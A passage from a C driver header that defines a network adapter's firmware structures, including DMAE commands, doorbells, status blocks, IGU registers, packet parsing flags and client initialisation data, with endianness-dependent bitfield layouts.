onward, set to 0 for backward compatibility destination VF id */ #define DMAE_COMMAND_DST_VFID_SHIFT 8 #define DMAE_COMMAND_DST_VFPF (0x1<<14) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility selects the destination function PF-0, VF-1 */ #define DMAE_COMMAND_DST_VFPF_SHIFT 14 #define DMAE_COMMAND_RESERVED2 (0x1<<15) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility */ #define DMAE_COMMAND_RESERVED2_SHIFT 15 uint16_t len /* copy length */; #elif defined(__LITTLE_ENDIAN) uint16_t len /* copy length */; uint16_t opcode_iov; #define DMAE_COMMAND_SRC_VFID (0x3F<<0) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility source VF id */ #define DMAE_COMMAND_SRC_VFID_SHIFT 0 #define DMAE_COMMAND_SRC_VFPF (0x1<<6) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility selects the source function PF-0, VF-1 */ #define DMAE_COMMAND_SRC_VFPF_SHIFT 6 #define DMAE_COMMAND_RESERVED1 (0x1<<7) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility */ #define DMAE_COMMAND_RESERVED1_SHIFT 7 #define DMAE_COMMAND_DST_VFID (0x3F<<8) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility destination VF id */ #define DMAE_COMMAND_DST_VFID_SHIFT 8 #define DMAE_COMMAND_DST_VFPF (0x1<<14) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility selects the destination function PF-0, VF-1 */ #define DMAE_COMMAND_DST_VFPF_SHIFT 14 #define DMAE_COMMAND_RESERVED2 (0x1<<15) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility */ #define DMAE_COMMAND_RESERVED2_SHIFT 15 #endif uint32_t comp_addr_lo /* completion address low/grc address */; uint32_t comp_addr_hi /* completion address hi */; uint32_t comp_val /* value to write to completion address */; uint32_t crc32 /* crc32 result */; uint32_t crc32_c /* crc32_c result */; #if defined(__BIG_ENDIAN) uint16_t crc16_c /* crc16_c result */; uint16_t crc16 /* crc16 result */; #elif defined(__LITTLE_ENDIAN) uint16_t crc16 /* crc16 result */; uint16_t crc16_c /* crc16_c result */; #endif #if defined(__BIG_ENDIAN) uint16_t reserved3; uint16_t crc_t10 /* crc_t10 result */; #elif defined(__LITTLE_ENDIAN) uint16_t crc_t10 /* crc_t10 result */; uint16_t reserved3; #endif #if defined(__BIG_ENDIAN) uint16_t xsum8 /* checksum8 result */; uint16_t xsum16 /* checksum16 result */; #elif defined(__LITTLE_ENDIAN) uint16_t xsum16 /* checksum16 result */; uint16_t xsum8 /* checksum8 result */; #endif }; /* * common data for all protocols */ struct doorbell_hdr { uint8_t header; #define DOORBELL_HDR_RX (0x1<<0) /* BitField header 1 for rx doorbell, 0 for tx doorbell */ #define DOORBELL_HDR_RX_SHIFT 0 #define DOORBELL_HDR_DB_TYPE (0x1<<1) /* BitField header 0 for normal doorbell, 1 for advertise wnd doorbell */ #define DOORBELL_HDR_DB_TYPE_SHIFT 1 #define DOORBELL_HDR_DPM_SIZE (0x3<<2) /* BitField header rdma tx only: DPM transaction size specifier (64/128/256/512 bytes) */ #define DOORBELL_HDR_DPM_SIZE_SHIFT 2 #define DOORBELL_HDR_CONN_TYPE (0xF<<4) /* BitField header connection type */ #define DOORBELL_HDR_CONN_TYPE_SHIFT 4 }; /* * Ethernet doorbell */ struct eth_tx_doorbell { #if defined(__BIG_ENDIAN) uint16_t npackets /* number of data bytes that were added in the doorbell */; uint8_t params; #define ETH_TX_DOORBELL_NUM_BDS (0x3F<<0) /* BitField params number of buffer descriptors that were added in the doorbell */ #define ETH_TX_DOORBELL_NUM_BDS_SHIFT 0 #define ETH_TX_DOORBELL_RESERVED_TX_FIN_FLAG (0x1<<6) /* BitField params tx fin command flag */ #define ETH_TX_DOORBELL_RESERVED_TX_FIN_FLAG_SHIFT 6 #define ETH_TX_DOORBELL_SPARE (0x1<<7) /* BitField params doorbell queue spare flag */ #define ETH_TX_DOORBELL_SPARE_SHIFT 7 struct doorbell_hdr hdr; #elif defined(__LITTLE_ENDIAN) struct doorbell_hdr hdr; uint8_t params; #define ETH_TX_DOORBELL_NUM_BDS (0x3F<<0) /* BitField params number of buffer descriptors that were added in the doorbell */ #define ETH_TX_DOORBELL_NUM_BDS_SHIFT 0 #define ETH_TX_DOORBELL_RESERVED_TX_FIN_FLAG (0x1<<6) /* BitField params tx fin command flag */ #define ETH_TX_DOORBELL_RESERVED_TX_FIN_FLAG_SHIFT 6 #define ETH_TX_DOORBELL_SPARE (0x1<<7) /* BitField params doorbell queue spare flag */ #define ETH_TX_DOORBELL_SPARE_SHIFT 7 uint16_t npackets /* number of data bytes that were added in the doorbell */; #endif }; /* * 3 lines. status block $$KEEP_ENDIANNESS$$ */ struct hc_status_block_e1x { uint16_t index_values[HC_SB_MAX_INDICES_E1X] /* indices reported by cstorm */; uint16_t running_index[HC_SB_MAX_SM] /* Status Block running indices */; uint32_t rsrv[11]; }; /* * host status block */ struct host_hc_status_block_e1x { struct hc_status_block_e1x sb /* fast path indices */; }; /* * 3 lines. status block $$KEEP_ENDIANNESS$$ */ struct hc_status_block_e2 { uint16_t index_values[HC_SB_MAX_INDICES_E2] /* indices reported by cstorm */; uint16_t running_index[HC_SB_MAX_SM] /* Status Block running indices */; uint32_t reserved[11]; }; /* * host status block */ struct host_hc_status_block_e2 { struct hc_status_block_e2 sb /* fast path indices */; }; /* * 5 lines. slow-path status block $$KEEP_ENDIANNESS$$ */ struct hc_sp_status_block { uint16_t index_values[HC_SP_SB_MAX_INDICES] /* indices reported by cstorm */; uint16_t running_index /* Status Block running index */; uint16_t rsrv; uint32_t rsrv1; }; /* * host status block */ struct host_sp_status_block { struct atten_sp_status_block atten_status_block /* attention bits section */; struct hc_sp_status_block sp_sb /* slow path indices */; }; /* * IGU driver acknowledgment register */ union igu_ack_register { struct { #if defined(__BIG_ENDIAN) uint16_t sb_id_and_flags; #define IGU_ACK_REGISTER_STATUS_BLOCK_ID (0x1F<<0) /* BitField sb_id_and_flags 0-15: non default status blocks, 16: default status block */ #define IGU_ACK_REGISTER_STATUS_BLOCK_ID_SHIFT 0 #define IGU_ACK_REGISTER_STORM_ID (0x7<<5) /* BitField sb_id_and_flags 0-3:storm id, 4: attn status block (valid in default sb only) */ #define IGU_ACK_REGISTER_STORM_ID_SHIFT 5 #define IGU_ACK_REGISTER_UPDATE_INDEX (0x1<<8) /* BitField sb_id_and_flags if set, acknowledges status block index */ #define IGU_ACK_REGISTER_UPDATE_INDEX_SHIFT 8 #define IGU_ACK_REGISTER_INTERRUPT_MODE (0x3<<9) /* BitField sb_id_and_flags interrupt enable/disable/nop: use IGU_INT_xxx constants */ #define IGU_ACK_REGISTER_INTERRUPT_MODE_SHIFT 9 #define IGU_ACK_REGISTER_RESERVED (0x1F<<11) /* BitField sb_id_and_flags */ #define IGU_ACK_REGISTER_RESERVED_SHIFT 11 uint16_t status_block_index /* status block index acknowledgement */; #elif defined(__LITTLE_ENDIAN) uint16_t status_block_index /* status block index acknowledgement */; uint16_t sb_id_and_flags; #define IGU_ACK_REGISTER_STATUS_BLOCK_ID (0x1F<<0) /* BitField sb_id_and_flags 0-15: non default status blocks, 16: default status block */ #define IGU_ACK_REGISTER_STATUS_BLOCK_ID_SHIFT 0 #define IGU_ACK_REGISTER_STORM_ID (0x7<<5) /* BitField sb_id_and_flags 0-3:storm id, 4: attn status block (valid in default sb only) */ #define IGU_ACK_REGISTER_STORM_ID_SHIFT 5 #define IGU_ACK_REGISTER_UPDATE_INDEX (0x1<<8) /* BitField sb_id_and_flags if set, acknowledges status block index */ #define IGU_ACK_REGISTER_UPDATE_INDEX_SHIFT 8 #define IGU_ACK_REGISTER_INTERRUPT_MODE (0x3<<9) /* BitField sb_id_and_flags interrupt enable/disable/nop: use IGU_INT_xxx constants */ #define IGU_ACK_REGISTER_INTERRUPT_MODE_SHIFT 9 #define IGU_ACK_REGISTER_RESERVED (0x1F<<11) /* BitField sb_id_and_flags */ #define IGU_ACK_REGISTER_RESERVED_SHIFT 11 #endif } sb; uint32_t raw_data; }; /* * IGU driver acknowledgement register */ struct igu_backward_compatible { uint32_t sb_id_and_flags; #define IGU_BACKWARD_COMPATIBLE_SB_INDEX (0xFFFF<<0) /* BitField sb_id_and_flags */ #define IGU_BACKWARD_COMPATIBLE_SB_INDEX_SHIFT 0 #define IGU_BACKWARD_COMPATIBLE_SB_SELECT (0x1F<<16) /* BitField sb_id_and_flags */ #define IGU_BACKWARD_COMPATIBLE_SB_SELECT_SHIFT 16 #define IGU_BACKWARD_COMPATIBLE_SEGMENT_ACCESS (0x7<<21) /* BitField sb_id_and_flags 0-3:storm id, 4: attn status block (valid in default sb only) */ #define IGU_BACKWARD_COMPATIBLE_SEGMENT_ACCESS_SHIFT 21 #define IGU_BACKWARD_COMPATIBLE_BUPDATE (0x1<<24) /* BitField sb_id_and_flags if set, acknowledges status block index */ #define IGU_BACKWARD_COMPATIBLE_BUPDATE_SHIFT 24 #define IGU_BACKWARD_COMPATIBLE_ENABLE_INT (0x3<<25) /* BitField sb_id_and_flags interrupt enable/disable/nop: use IGU_INT_xxx constants */ #define IGU_BACKWARD_COMPATIBLE_ENABLE_INT_SHIFT 25 #define IGU_BACKWARD_COMPATIBLE_RESERVED_0 (0x1F<<27) /* BitField sb_id_and_flags */ #define IGU_BACKWARD_COMPATIBLE_RESERVED_0_SHIFT 27 uint32_t reserved_2; }; /* * IGU driver acknowledgement register */ struct igu_regular { uint32_t sb_id_and_flags; #define IGU_REGULAR_SB_INDEX (0xFFFFF<<0) /* BitField sb_id_and_flags */ #define IGU_REGULAR_SB_INDEX_SHIFT 0 #define IGU_REGULAR_RESERVED0 (0x1<<20) /* BitField sb_id_and_flags */ #define IGU_REGULAR_RESERVED0_SHIFT 20 #define IGU_REGULAR_SEGMENT_ACCESS (0x7<<21) /* BitField sb_id_and_flags 21-23 (use enum igu_seg_access) */ #define IGU_REGULAR_SEGMENT_ACCESS_SHIFT 21 #define IGU_REGULAR_BUPDATE (0x1<<24) /* BitField sb_id_and_flags */ #define IGU_REGULAR_BUPDATE_SHIFT 24 #define IGU_REGULAR_ENABLE_INT (0x3<<25) /* BitField sb_id_and_flags interrupt enable/disable/nop (use enum igu_int_cmd) */ #define IGU_REGULAR_ENABLE_INT_SHIFT 25 #define IGU_REGULAR_RESERVED_1 (0x1<<27) /* BitField sb_id_and_flags */ #define IGU_REGULAR_RESERVED_1_SHIFT 27 #define IGU_REGULAR_CLEANUP_TYPE (0x3<<28) /* BitField sb_id_and_flags */ #define IGU_REGULAR_CLEANUP_TYPE_SHIFT 28 #define IGU_REGULAR_CLEANUP_SET (0x1<<30) /* BitField sb_id_and_flags */ #define IGU_REGULAR_CLEANUP_SET_SHIFT 30 #define IGU_REGULAR_BCLEANUP (0x1<<31) /* BitField sb_id_and_flags */ #define IGU_REGULAR_BCLEANUP_SHIFT 31 uint32_t reserved_2; }; /* * IGU driver acknowledgement register */ union igu_consprod_reg { struct igu_regular regular; struct igu_backward_compatible backward_compatible; }; /* * Igu control commands */ enum igu_ctrl_cmd { IGU_CTRL_CMD_TYPE_RD, IGU_CTRL_CMD_TYPE_WR, MAX_IGU_CTRL_CMD}; /* * Control register for the IGU command register */ struct igu_ctrl_reg { uint32_t ctrl_data; #define IGU_CTRL_REG_ADDRESS (0xFFF<<0) /* BitField ctrl_data */ #define IGU_CTRL_REG_ADDRESS_SHIFT 0 #define IGU_CTRL_REG_FID (0x7F<<12) /* BitField ctrl_data */ #define IGU_CTRL_REG_FID_SHIFT 12 #define IGU_CTRL_REG_RESERVED (0x1<<19) /* BitField ctrl_data */ #define IGU_CTRL_REG_RESERVED_SHIFT 19 #define IGU_CTRL_REG_TYPE (0x1<<20) /* BitField ctrl_data (use enum igu_ctrl_cmd) */ #define IGU_CTRL_REG_TYPE_SHIFT 20 #define IGU_CTRL_REG_UNUSED (0x7FF<<21) /* BitField ctrl_data */ #define IGU_CTRL_REG_UNUSED_SHIFT 21 }; /* * Igu interrupt command */ enum igu_int_cmd { IGU_INT_ENABLE, IGU_INT_DISABLE, IGU_INT_NOP, IGU_INT_NOP2, MAX_IGU_INT_CMD}; /* * Igu segments */ enum igu_seg_access { IGU_SEG_ACCESS_NORM, IGU_SEG_ACCESS_DEF, IGU_SEG_ACCESS_ATTN, MAX_IGU_SEG_ACCESS}; /* * Parser parsing flags field */ struct parsing_flags { uint16_t flags; #define PARSING_FLAGS_ETHERNET_ADDRESS_TYPE (0x1<<0) /* BitField flagscontext flags 0=non-unicast, 1=unicast (use enum prs_flags_eth_addr_type) */ #define PARSING_FLAGS_ETHERNET_ADDRESS_TYPE_SHIFT 0 #define PARSING_FLAGS_VLAN (0x1<<1) /* BitField flagscontext flags 0 or 1 */ #define PARSING_FLAGS_VLAN_SHIFT 1 #define PARSING_FLAGS_EXTRA_VLAN (0x1<<2) /* BitField flagscontext flags 0 or 1 */ #define PARSING_FLAGS_EXTRA_VLAN_SHIFT 2 #define PARSING_FLAGS_OVER_ETHERNET_PROTOCOL (0x3<<3) /* BitField flagscontext flags 0=un-known, 1=Ipv4, 2=Ipv6,3=LLC SNAP un-known. LLC SNAP here refers only to LLC/SNAP packets that do not have Ipv4 or Ipv6 above them. Ipv4 and Ipv6 indications are even if they are over LLC/SNAP and not directly over Ethernet (use enum prs_flags_over_eth) */ #define PARSING_FLAGS_OVER_ETHERNET_PROTOCOL_SHIFT 3 #define PARSING_FLAGS_IP_OPTIONS (0x1<<5) /* BitField flagscontext flags 0=no IP options / extension headers. 1=IP options / extension header exist */ #define PARSING_FLAGS_IP_OPTIONS_SHIFT 5 #define PARSING_FLAGS_FRAGMENTATION_STATUS (0x1<<6) /* BitField flagscontext flags 0=non-fragmented, 1=fragmented */ #define PARSING_FLAGS_FRAGMENTATION_STATUS_SHIFT 6 #define PARSING_FLAGS_OVER_IP_PROTOCOL (0x3<<7) /* BitField flagscontext flags 0=un-known, 1=TCP, 2=UDP (use enum prs_flags_over_ip) */ #define PARSING_FLAGS_OVER_IP_PROTOCOL_SHIFT 7 #define PARSING_FLAGS_PURE_ACK_INDICATION (0x1<<9) /* BitField flagscontext flags 0=packet with data, 1=pure-ACK (use enum prs_flags_ack_type) */ #define PARSING_FLAGS_PURE_ACK_INDICATION_SHIFT 9 #define PARSING_FLAGS_TCP_OPTIONS_EXIST (0x1<<10) /* BitField flagscontext flags 0=no TCP options. 1=TCP options */ #define PARSING_FLAGS_TCP_OPTIONS_EXIST_SHIFT 10 #define PARSING_FLAGS_TIME_STAMP_EXIST_FLAG (0x1<<11) /* BitField flagscontext flags According to the TCP header options parsing */ #define PARSING_FLAGS_TIME_STAMP_EXIST_FLAG_SHIFT 11 #define PARSING_FLAGS_CONNECTION_MATCH (0x1<<12) /* BitField flagscontext flags connection match in searcher indication */ #define PARSING_FLAGS_CONNECTION_MATCH_SHIFT 12 #define PARSING_FLAGS_LLC_SNAP (0x1<<13) /* BitField flagscontext flags LLC SNAP indication */ #define PARSING_FLAGS_LLC_SNAP_SHIFT 13 #define PARSING_FLAGS_RESERVED0 (0x3<<14) /* BitField flagscontext flags */ #define PARSING_FLAGS_RESERVED0_SHIFT 14 }; /* * Parsing flags for TCP ACK type */ enum prs_flags_ack_type { PRS_FLAG_PUREACK_PIGGY, PRS_FLAG_PUREACK_PURE, MAX_PRS_FLAGS_ACK_TYPE}; /* * Parsing flags for Ethernet address type */ enum prs_flags_eth_addr_type { PRS_FLAG_ETHTYPE_NON_UNICAST, PRS_FLAG_ETHTYPE_UNICAST, MAX_PRS_FLAGS_ETH_ADDR_TYPE}; /* * Parsing flags for over-ethernet protocol */ enum prs_flags_over_eth { PRS_FLAG_OVERETH_UNKNOWN, PRS_FLAG_OVERETH_IPV4, PRS_FLAG_OVERETH_IPV6, PRS_FLAG_OVERETH_LLCSNAP_UNKNOWN, MAX_PRS_FLAGS_OVER_ETH}; /* * Parsing flags for over-IP protocol */ enum prs_flags_over_ip { PRS_FLAG_OVERIP_UNKNOWN, PRS_FLAG_OVERIP_TCP, PRS_FLAG_OVERIP_UDP, MAX_PRS_FLAGS_OVER_IP}; /* * SDM operation gen command (generate aggregative interrupt) */ struct sdm_op_gen { uint32_t command; #define SDM_OP_GEN_COMP_PARAM (0x1F<<0) /* BitField commandcomp_param and comp_type thread ID/aggr interrupt number/counter depending on the completion type */ #define SDM_OP_GEN_COMP_PARAM_SHIFT 0 #define SDM_OP_GEN_COMP_TYPE (0x7<<5) /* BitField commandcomp_param and comp_type Direct messages to CM / PCI switch are not supported in operation_gen completion */ #define SDM_OP_GEN_COMP_TYPE_SHIFT 5 #define SDM_OP_GEN_AGG_VECT_IDX (0xFF<<8) /* BitField commandcomp_param and comp_type bit index in aggregated interrupt vector */ #define SDM_OP_GEN_AGG_VECT_IDX_SHIFT 8 #define SDM_OP_GEN_AGG_VECT_IDX_VALID (0x1<<16) /* BitField commandcomp_param and comp_type */ #define SDM_OP_GEN_AGG_VECT_IDX_VALID_SHIFT 16 #define SDM_OP_GEN_RESERVED (0x7FFF<<17) /* BitField commandcomp_param and comp_type */ #define SDM_OP_GEN_RESERVED_SHIFT 17 }; /* * Timers connection context */ struct timers_block_context { uint32_t __reserved_0 /* data of client 0 of the timers block*/; uint32_t __reserved_1 /* data of client 1 of the timers block*/; uint32_t __reserved_2 /* data of client 2 of the timers block*/; uint32_t flags; #define __TIMERS_BLOCK_CONTEXT_NUM_OF_ACTIVE_TIMERS (0x3<<0) /* BitField flagscontext flags number of active timers running */ #define __TIMERS_BLOCK_CONTEXT_NUM_OF_ACTIVE_TIMERS_SHIFT 0 #define TIMERS_BLOCK_CONTEXT_CONN_VALID_FLG (0x1<<2) /* BitField flagscontext flags flag: is connection valid (should be set by driver to 1 in toe/iscsi connections) */ #define TIMERS_BLOCK_CONTEXT_CONN_VALID_FLG_SHIFT 2 #define __TIMERS_BLOCK_CONTEXT_RESERVED0 (0x1FFFFFFF<<3) /* BitField flagscontext flags */ #define __TIMERS_BLOCK_CONTEXT_RESERVED0_SHIFT 3 }; /* * The eth aggregative context of Tstorm */ struct tstorm_eth_ag_context { uint32_t __reserved0[14]; }; /* * The eth aggregative context of Ustorm */ struct ustorm_eth_ag_context { uint32_t __reserved0; #if defined(__BIG_ENDIAN) uint8_t cdu_usage /* Will be used by the CDU for validation of the CID/connection type on doorbells. */; uint8_t __reserved2; uint16_t __reserved1; #elif defined(__LITTLE_ENDIAN) uint16_t __reserved1; uint8_t __reserved2; uint8_t cdu_usage /* Will be used by the CDU for validation of the CID/connection type on doorbells. */; #endif uint32_t __reserved3[6]; }; /* * The eth aggregative context of Xstorm */ struct xstorm_eth_ag_context { uint32_t reserved0; #if defined(__BIG_ENDIAN) uint8_t cdu_reserved /* Used by the CDU for validation and debugging */; uint8_t reserved2; uint16_t reserved1; #elif defined(__LITTLE_ENDIAN) uint16_t reserved1; uint8_t reserved2; uint8_t cdu_reserved /* Used by the CDU for validation and debugging */; #endif uint32_t reserved3[30]; }; /* * doorbell message sent to the chip */ struct doorbell { #if defined(__BIG_ENDIAN) uint16_t zero_fill2 /* driver must zero this field! */; uint8_t zero_fill1 /* driver must zero this field! */; struct doorbell_hdr header; #elif defined(__LITTLE_ENDIAN) struct doorbell_hdr header; uint8_t zero_fill1 /* driver must zero this field! */; uint16_t zero_fill2 /* driver must zero this field! */; #endif }; /* * doorbell message sent to the chip */ struct doorbell_set_prod { #if defined(__BIG_ENDIAN) uint16_t prod /* Producer index to be set */; uint8_t zero_fill1 /* driver must zero this field! */; struct doorbell_hdr header; #elif defined(__LITTLE_ENDIAN) struct doorbell_hdr header; uint8_t zero_fill1 /* driver must zero this field! */; uint16_t prod /* Producer index to be set */; #endif }; struct regpair { uint32_t lo /* low word for reg-pair */; uint32_t hi /* high word for reg-pair */; }; struct regpair_native { uint32_t lo /* low word for reg-pair */; uint32_t hi /* high word for reg-pair */; }; /* * Classify rule opcodes in E2/E3 */ enum classify_rule { CLASSIFY_RULE_OPCODE_MAC /* Add/remove a MAC address */, CLASSIFY_RULE_OPCODE_VLAN /* Add/remove a VLAN */, CLASSIFY_RULE_OPCODE_PAIR /* Add/remove a MAC-VLAN pair */, MAX_CLASSIFY_RULE}; /* * Classify rule types in E2/E3 */ enum classify_rule_action_type { CLASSIFY_RULE_REMOVE, CLASSIFY_RULE_ADD, MAX_CLASSIFY_RULE_ACTION_TYPE}; /* * client init ramrod data $$KEEP_ENDIANNESS$$ */ struct client_init_general_data { uint8_t client_id /* client_id */; uint8_t statistics_counter_id /* statistics counter id */; uint8_t statistics_en_flg /* statistics en flg */; uint8_t is_fcoe_flg /* is this an fcoe connection. (1 bit is used) */; uint8_t activate_flg /* if 0 - the client is deactivate else the client is activate client (1 bit is used) */; uint8_t sp_client_id /* the slow path rings client Id. */; uint16_t mtu /* Host MTU from client config */; uint8_t statistics_zero_flg /* if set FW will reset the statistic counter of this client */; uint8_t func_id /* PCI function ID (0-71) */; uint8_t cos /* The connection cos, if applicable */; uint8_t traffic_type; uint32_t reserved0; }; /* * client init rx data $$KEEP_ENDIANNESS$$ */ struct client_init_rx_data { uint8_t tpa_en; #define CLIENT_INIT_RX_DATA_TPA_EN_IPV4 (0x1<<0) /* BitField tpa_entpa_enable tpa enable flg ipv4 */ #define CLIENT_INIT_RX_DATA_TPA_EN_IPV4_SHIFT 0 #define CLIENT_INIT_RX_DATA_TPA_EN_IPV6 (0x1<<1) /* BitField tpa_entpa_enable tpa enable flg ipv6 */ #define CLIENT_INIT_RX_DATA_TPA_EN_IPV6_SHIFT 1 #define CLIENT_INIT_RX_DATA_TPA_MODE (0x1<<2) /* BitField tpa_entpa_enable tpa mode (LRO or GRO) (use enum tpa_mode) */ #define CLIENT_INIT_RX_DATA_TPA_MODE_SHIFT 2 #define CLIENT_INIT_RX_DATA_RESERVED5 (0x1F<<3) /* BitField tpa_entpa_enable */ #define CLIENT_INIT_RX_DATA_RESERVED5_SHIFT 3 uint8_t vmqueue_mode_en_flg /* If set, working in VMQueue mode (always consume one sge) */; uint8_t extra_data_over_sgl_en_flg /* if set, put over sgl data from end of input message */; uint8_t cache_line_alignment_log_size /* The log size of cache line alignment in bytes. Must be a power of 2. */; uint8_t enable_dynamic_hc /* If set, dynamic HC is enabled */; uint8_t max_sges_for_packet /* The maximal number of SGEs that can be used for one packet. depends on MTU and SGE size. must be 0 if SGEs are disabled */; uint8_t client_qzone_id /* used in E2 only, to specify the HW queue zone ID used for this client rx producers */; uint8_t drop_ip_cs_err_flg /* If set, this client drops packets with IP checksum error */; uint8_t drop_tcp_cs_err_flg /* If set, this client drops packets with TCP checksum error */; uint8_t drop_ttl0_flg /* If set, this client drops packets with TTL=0 */; uint8_t drop_udp_cs_err_flg /* If set, this client drops packets with UDP checksum error */; uint8_t inner_vlan_removal_enable_flg /* If set, inner VLAN removal is enabled for this client */; uint8_t outer_vlan_removal_enable_flg /* If set, outer VLAN removal is enabled for this client */; uint8_t status_block_id /* rx status block id */; uint8_t rx_sb_index_number /* status block indices */; uint8_t dont_verify_rings_pause_thr_flg /* If set, the rings pause thresholds will not be verified by firmware. */; uint8_t max_tpa_queues /* maximal TPA queues allowed for this client */; uint8_t silent_vlan_removal_flg /* if set, and the vlan is equal to requested vlan according to mask, the vlan will be remove without notifying the driver */; uint16_t max_bytes_on_bd /* Maximum bytes that can be placed on a BD. The BD allocated size should include 2 more bytes (ip alignment) and alignment size (in case the address is not aligned) */; uint16_t sge_buff_size /* Size of the buffers pointed by SGEs */; uint8_t approx_mcast_engine_id /* In Everest2, if is_approx_mcast is set, this field specified which approximate multicast engine is associate with this client */; uint8_t rss_engine_id /* In Everest2, if rss_mode is set, this field specified which RSS engine is associate with this client */; struct regpair bd_page_base /* BD page base address at the host */; struct regpair sge_page_base /* SGE page base address at the host */; struct regpair cqe_page_base /* Completion queue base address */; uint8_t is_leading_rss; uint8_t is_approx_mcast; uint16_t max_agg_size /* maximal size for the aggregated TPA packets, reprted by the host */; uint16_t state; #define CLIENT_INIT_RX_DATA_UCAST_DROP_ALL (0x1<<0) /* BitField staterx filters state drop all unicast packets */ #define CLIENT_INIT_RX_DATA_UCAST_DROP_ALL_SHIFT 0 #define CLIENT_INIT_RX_DATA_UCAST_ACCEPT_ALL (0x1<<1) /* BitField staterx filters state accept all unicast packets (subject to vlan) */ #define CLIENT_INIT_RX_DATA_UCAST_ACCEPT_ALL_SHIFT 1 #define CLIENT_INIT_RX_DATA_UCAST_ACCEPT_UNMATCHED (0x1<<2) /* BitField staterx filters state accept all unmatched unicast packets (subject to vlan) */ #define CLIENT_INIT_RX_DATA_UCAST_ACCEPT_UNMATCHED_SHIFT 2 #define CLIENT_INIT_RX_DATA_MCAST_DROP_ALL (0x1<<3) /* BitField staterx filters state drop all multicast packets */ #define CLIENT_INIT_RX_DATA_MCAST_DROP_ALL_SHIFT 3 #define CLIENT_INIT_RX_DATA_MCAST_ACCEPT_ALL (0x1<<4) /* BitField staterx filters state accept all multicast packets (subject to vlan) */ #define CLIENT_INIT_RX_DATA_MCAST_ACCEPT_ALL_SHIFT 4 #define CLIENT_INIT_RX_DATA_BCAST_ACCEPT_ALL (0x1<<5) /* BitField staterx filters state accept all broadcast packets (subject to vlan) */ #define CLIENT_INIT_RX_DATA_BCAST_ACCEPT_ALL_SHIFT 5 #define CLIENT_INIT_RX_DATA_ACCEPT_ANY_VLAN (0x1<<6) /* BitField staterx filters state accept packets matched only by MAC (without checking vlan) */ #define CLIENT_INIT_RX_DATA_ACCEPT_ANY_VLAN_SHIFT 6 #define CLIENT_INIT_RX_DATA_RESERVED2 (0x1FF<<7) /* BitField staterx filters state */ #define CLIENT_INIT_RX_DATA_RESERVED2_SHIFT 7 uint16_t cqe_pause_thr_low /* number of remaining cqes under which, we send pause message */; uint16_t cqe_pause_thr_high /* number of remaining cqes above which, we send un-pause message */; uint16_t bd_pause_thr_low /* number of remaining bds under which, we send pause message */; uint16_t bd_pause_thr_high /* number of remaining bds above which, we send un-pause message */; uint16_t sge_pause_thr_low /* number of remaining sges under which, we send pause message */; uint16_t sge_pause_thr_high /* number of remaining sges above which, we send un-pause message */; uint16_t rx_cos_mask /* the bits that will be set on pfc/ safc paket with will be genratet when this ring is full. for regular flow control set this to 1 */; uint16_t silent_vlan_value /* The vlan to compare, in case, silent vlan is set */; uint16_t silent_vlan_mask /* The vlan mask, in case, silent vlan is set */; uint32_t reserved6[2]; }; /* * client init tx data $$KEEP_ENDIANNESS$$ */ struct client_init_tx_data { uint8_t enforce_security_flg /* if set, security checks will be made for this connection */; uint8_t tx_status_block_id /* the number of status block to update */; uint8_t tx_sb_index_number /* the index to use inside the status block */; uint8_t tss_leading_client_id /* client ID of the leading TSS client, for TX classification source knock out */; uint8_t tx_switching_flg /* if set, tx switching will be done to packets on this connection */; uint8_t anti_spoofing_flg /* if set, anti spoofing check will be done to packets on this connection */; uint16_t default_vlan /* default vlan tag (id+pri). (valid if default_vlan_flg is set) */; struct regpair tx_bd_page_base /* BD page base address at the host for TxBdCons */; uint16_t state; #define CLIENT_INIT_TX_DATA_UCAST_ACCEPT_ALL (0x1<<0) /* BitField statetx filters state accept all unicast packets (subject to vlan) */ #define CLIENT_INIT_TX_DATA_UCAST_ACCEPT_ALL_SHIFT 0 #define CLIENT_INIT_TX_DATA_MCAST_ACCEPT_ALL (0x1<<1) /* BitField statetx filters state accept all multicast packets (subject to vlan) */ #define CLIENT_INIT_TX_DATA_MCAST_ACCEPT_ALL_SHIFT 1 #define CLIENT_INIT_TX_DATA_BCAST_ACCEPT_ALL (0x1<<2) /* BitField statetx filters state accept all broadcast packets (subject to vlan) */ #define CLIENT_INIT_TX_DATA_BCAST_ACCEPT_ALL_SHIFT 2 #define CLIENT_INIT_TX_DATA_ACCEPT_ANY_VLAN (0x1<<3) /* BitField statetx filters state accept packets matched only by MAC (without checking vlan) */ #define CLIENT_INIT_TX_DATA_ACCEPT_ANY_VLAN_SHIFT 3 #define CLIENT_INIT_TX_DATA_RESERVED0 (0xFFF<<4) /* BitField statetx filters state */ #define CLIENT_INIT_TX_DATA_RESERVED0_SHIFT 4 uint8_t default_vlan_flg /* is default vlan valid for this client. */; uint8_t force_default_pri_flg /* if set, force default priority */; uint8_t tunnel_lso_inc_ip_id /* In case of LSO over IPv4 tunnel, whether to increment IP ID on external IP header or internal IP header */; uint8_t refuse_outband_vlan_flg /* if set, the FW will not add outband vlan on packet (even if will exist on BD). */; uint8_t tunnel_non_lso_pcsum_location /* In case of non-Lso encapsulated packets with L4 checksum offload, the pseudo checksum location - on packet or on BD. */; uint8_t tunnel_non_lso_outer_ip_csum_location /* In case of non-Lso encapsulated packets with outer L3 ip checksum offload, the pseudo checksum location - on packet or on BD. */; }; /* * client init ramrod data $$KEEP_ENDIANNESS$$ */ struct client_init_ramrod_data { struct client_init_general_data general /* client init general data */; struct client_init_rx_data rx /* client init rx data */; struct client_init_tx_data tx /* client init tx data */; }; /* * client update ramrod data $$KEEP_ENDIANNESS$$ */ struct client_update_ramrod_data { uint8_t client_id /* the client to update */; uint8_t func_id /* PCI function ID this client belongs to (0-71) */; uint8_t inner_vlan_removal_enable_flg /* If set, inner VLAN removal is enabled for this client, will be change according to change flag */; uint8_t inner_vlan_removal_change_flg /* If set, inner VLAN removal flag will be set according to the enable flag */; uint8_t outer_vlan_removal_enable_flg /* If set, outer VLAN removal is enabled for this client, will be change according to change flag */; uint8_t outer_vlan_removal_change_flg /* If set, outer VLAN removal flag will be set according to the enable flag */; uint8_t anti_spoofing_enable_flg /* If set, anti spoofing is enabled for this client, will be change according to change flag */; uint8_t anti_spoofing_change_flg /* If set, anti spoofing flag will be set according to anti spoofing flag */; 